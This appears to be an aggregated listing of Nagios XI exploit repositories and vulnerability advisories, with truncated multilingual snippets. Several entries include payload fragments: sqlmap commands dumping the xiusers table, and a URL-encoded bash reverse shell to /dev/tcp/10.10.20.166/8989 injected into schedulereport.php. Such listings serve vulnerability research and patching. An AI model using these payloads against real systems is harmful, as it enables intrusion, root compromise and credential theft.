CVE-2019-20197

ثغرة تنفيذ الأوامر عن بُعد في Nagios XI CVE-2019-20197 إثبات المفهوم POC: POST /nagiosxi/includes/components/scheduledreporting/schedulereport.php HTTP/1.1 Host: x.x.x.x User-Agent: Mozilla/5.0 Windows NT 10.0; WOW64; rv:49.0 Gecko/20100101 Firefox/49.0 Accept:...

CVE-2023-40933-PoC

CVE-2023-40933 Le payload sqlmap pour exploiter CVE-2023-40933 Payload Informations requises : Nom d'utilisateur et mot de passe valides Domaine et chemin de l'instance hébergée root@kitploit: sqlmap -D nagiosxi -T xiusers -u...

CVE-2023-40931-PoC

CVE-2023-40931 حمولة sqlmap لاستغلال CVE-2023-40931 الحمولة المعلومات المطلوبة: اسم مستخدم وكلمة مرور صالحان النطاق ومسار المثيل المستضاف root@kitploit: sqlmap -D nagiosxi -T xiusers -u "https:///nagiosxi/admin/bannermessage-ajaxhelper.php?action=acknowledgebannermessage&id=3&token=curl -ksX POST...

CVE-2019-20197

CVE-2019-20197 Nagios XI リモートコマンド実行の脆弱性 = v5.6.9 Payload http://10.10.20.100:81/nagiosxi//includes/components/scheduledreporting/schedulereport.php id=a%22%3B%2fbin%2fbash%20-l%20%3E%20%2fdev%2ftcp%2f10.10.20.166%2f8989%200%3C%261%202%3E%261%0A%3B Burpsuite root@kitploit: POST...

CVE-2023-48084-Revised

CVE-2023-48084 — PoC محدّث المستودع: MettHK/CVE-2023-48084-Revised نسخة محدّثة من Hamibubu/CVE-2023-48084 مع دعم تعدد الخيوط، واستخراج البحث الثنائي، وخيارات سطر أوامر لاختيار قاعدة البيانات / الجدول / العمود. ليس المستودع الأصلي. هذا PoC مشتق/محسّن. يعود الفضل في العمل الأصلي إلى Hamibubu. إخلاء...

CVE-2024-24401

Rapport de vulnérabilité CVE découverte CONÇU POUR ÊTRE EXÉCUTÉ SUR KALI LINUX Remarques Nagios a corrigé la version 2024R1.0.1 dans tous les téléchargements récents. Pour déterminer si une cible est vulnérable, assurez-vous qu'elle utilise un téléchargement plus ancien de 2024R1.0.1. Le script m...

CVE-2024-24401

تقرير الثغرات الأمنية تم اكتشاف CVE بواسطة: Jarod Jaslow MAWK مصمم للتشغيل على Kali Linux ملاحظات قام Nagios بتصحيح الإصدار 2024R1.0.1 في جميع التنزيلات الحديثة. لتحديد ما إذا كان الهدف معرضًا للخطر، تأكد من أنهم يستخدمون تنزيلًا أقدم من 2024R1.0.1. البرنامج النصي المحدّث يتحقق من أن النظام الهدف...

Nagios-XI-s-CVE-2023-40931-Exploit

لا يحتوي هذا المستودع على ملف README...

CVE-2025-34227_Nagios-XI-Command-Injection-Configuration-Wizard

CVE-2025-34227 Nagios XI Injection de commande authentifiée dans Configuration Wizard Dépôt de preuve de concept simple pour CVE-2025-34227, une injection de commande authentifiée dans Nagios XI - Configuration Wizard Article complet ici:...

Nagios XI 5.5.6-5.7.5 - Authenticated Remote Command Injection

Nagios XI 5.5.6 through 5.7.5 is susceptible to authenticated remote command injection. There is improper sanitization of authenticated user-controlled input by a single HTTP request via the file /usr/local/nagiosxi/html/includes/configwizards/windowswmi/windowswmi.inc.php. This in turn can lead ...

nagios-xi-5.7.5-bugs

nagios-xi-5.7.5-bugs Bugs signalés à Nagios XI CVE-2021-25296 Emplacement du code /usr/local/nagiosxi/html/includes/configwizards/windowswmi/windowswmi.inc.php Extrait de code root@kitploit: if !empty$pluginoutputlen $diskwmicommand .= " --forcetruncateoutput " . $pluginoutputlen;...

CVE-2024-33775

CVE تم اكتشافها بواسطة: K. Wahab NeoX تفاصيل الثغرة: المنتج: Nagios XI Version 2024R1.01 الثغرة: تصعيد الامتيازات من المستخدمين "NAGIOS" أو "APACHE" النتيجة: وصول كامل بصلاحيات الجذر root على النظام المستهدف CVE: https://vulners.com/cve/CVE-2024-33775 الاستغلال: يُستخدم RSS Dashlet في هذا المثال...

CVE-2024-24402

تقرير الثغرة تم اكتشاف CVE بواسطة: Jarod Jaslow MAWK تفاصيل الثغرة: النقطة النهائية: Nagios XI الإصدار 2024R1.01 نوع الثغرة: تصعيد الصلاحيات من مستخدم "NAGIOS" نتيجة الاستغلال: وصول كامل لجذر النظام خطوات إعادة الإنتاج: 1. إنشاء نسخة جديدة من Nagios XI الإصدار 2024R1.01: قم بتنزيل ملف OVA الخاص ب...

CVE-2023-47400

CVE-2023-47400 إثبات المفهوم لـ CVE-2023-47400 تنفيذ كود PHP عن بُعد بعد المصادقة عبر كتابة ملفات عشوائية على Nagios XI 5.11.0 !Note يستند هذا الإثبات المفاهيمي PoC إلى النشرة الفنية التي نشرتها مجموعة NCC...

Nagios-CVE-2019-15949-RCE

Nagios-CVE-2019-15949-RCE-Poc CVE-2019-15949 の Python PoC 概要 Nagios XI = 5.6.5 には、攻撃者が RCE を利用して root への権限昇格を可能にする脆弱性が存在します。 このエクスプロイトを実行するには、'nagios' ユーザーとしてサーバーにアクセスできるか、プラグイン管理の権限を持つ Web インターフェース経由での CCM アクセスが必要です。 詳細 getprofile.sh スクリプトは、システムプロファイルのダウンロード profile.php?cmd=download...

CVE-2025-61299_POC

CVE-2025-61299POC حقن أوامر بعد المصادقة في Nagios XI 2024R1 CVE-2025-61299...

CVE-2023-48084

CVE-2023-48084 استغلال Python لـ CVE-2023-48084 - Nagios XI before version 5.11.3 was discovered to contain a SQL injection vulnerability via the bulk modification tool. يستخدم الاستغلال /admin/bannermessage-ajaxhelper.php?action=acknowledgebannermessage&id= لتنفيذ استعلامات SQL، ويستغل ثغرة حقن...

nagiosxi-root-rce-exploit

nagiosxi-root-exploit نظرة عامة توجد ثغرة أمنية في Nagios XI = 5.6.5 تتيح للمهاجم استغلال RCE لرفع الامتيازات إلى صلاحيات root. يتطلب الاستغلال الوصول إلى الخادم كمستخدم 'nagios'، أو الوصول إلى CCM عبر واجهة الويب مع صلاحيات لإدارة الإضافات. التفاصيل يتم تنفيذ السكربت getprofile.sh، الذي يُستدعى ...

Linux Distros Unpatched Vulnerability : CVE-2026-48554

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - Nagios Core before 4.5.14 and Nagios XI before 2026R1.7 are vulnerable to authenticated remote code execution via unfiltered NOTIFICATION-family macro...

Linux Distros Unpatched Vulnerability : CVE-2026-48551

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - Nagios Core before 4.5.14 and Nagios XI before 2026R1.7 contain a cross-site request forgery protection bypass via a self-supplied double-submit cookie. An...